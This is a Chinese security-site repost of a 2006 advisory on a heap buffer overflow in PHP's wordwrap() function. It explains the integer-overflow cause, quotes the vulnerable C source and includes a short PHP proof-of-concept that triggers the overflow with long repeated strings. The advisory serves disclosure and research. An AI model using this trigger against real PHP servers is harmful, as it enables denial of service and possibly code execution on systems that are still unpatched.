| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
PHP wordwrap()缓冲区溢出漏洞
PHP wordwrap()缓冲区溢出漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 14:53:47
2006-4-27

 

受影响系统:


PHP PHP 5.1.2
PHP PHP 4.4.2


描述:
--------------------------------------------------------------------------------
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的wordwrap()函数实现上存在漏洞,远程攻击者可能利用此漏洞对PHP执行堆溢出攻击,可能导致拒绝服务或执行任意指令。

由于错误的整数计算,如果向PHP的wordwrap()函数发送了超长字符串的话,就会触发堆溢出漏洞。在下文的[1]或[2]中,整数“alloced”是从用户输入字符串的长度计算出来的。如果设置了长字符串(大约1MB)的话在乘法操作时就会溢出产生小正整数,在[3]中使用进行内存分配。在[4]中用户输入拷贝到新分配的缓冲区“newtext”,而这个缓冲区过小,在memcpy()中会溢出。拷贝大小“current”会包含用户提供字符串“text”的长度。

php-4.4.2/ext/standard/string.c中的有漏洞代码:

--------------------------------------------------------
PHP_FUNCTION(wordwrap)
{
     const char *text, *breakchar = "\n";
     char *newtext;
     int textlen, breakcharlen = 1, newtextlen, alloced, chk;
     long current = 0, laststart = 0, lastspace = 0;
     long linelength = 75;
     zend_bool docut = 0;
...
          if (linelength > 0) {
                  chk = (int)(textlen/linelength + 1);
[1]               alloced = textlen + chk * breakcharlen + 1;        
          } else {
                  chk = textlen;
[2]               alloced = textlen * (breakcharlen + 1) + 1;
          }
          if (alloced <= 0) {
                  RETURN_FALSE;
          }
[3]       newtext = emalloc(alloced);

...
          if (laststart != current) {
[4]               memcpy(newtext+newtextlen, text+laststart, current-laststart);
                  newtextlen += current - laststart;
      }
...
}
--------------------------------------------------------

如果memory_limit的值过高,还可能导致内存拒绝服务。

<*来源:Leon Juranic (ljuranic@LSS.hr
 
  链接:http://secunia.com/advisories/19803/print/
        http://www.infigo.hr/hr/in_focus/advisories/INFIGO-2006-04-02
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a = str_repeat ("A",438013);
$b = str_repeat ("B",951140);
wordwrap ($a,0,$b,0);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    PHP html_entity_decode
    PHP HTMLEntities和HTML
    PHP wordwrap()缓冲区溢
    phpMyAdmin多个HTTP响应
    PHP session.save_path(
    WordPress functions.ph
    PHP Easy Download file
    PHP HTMLEntities和HTML
    WordPress functions.ph
    PHP Easy Download file

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览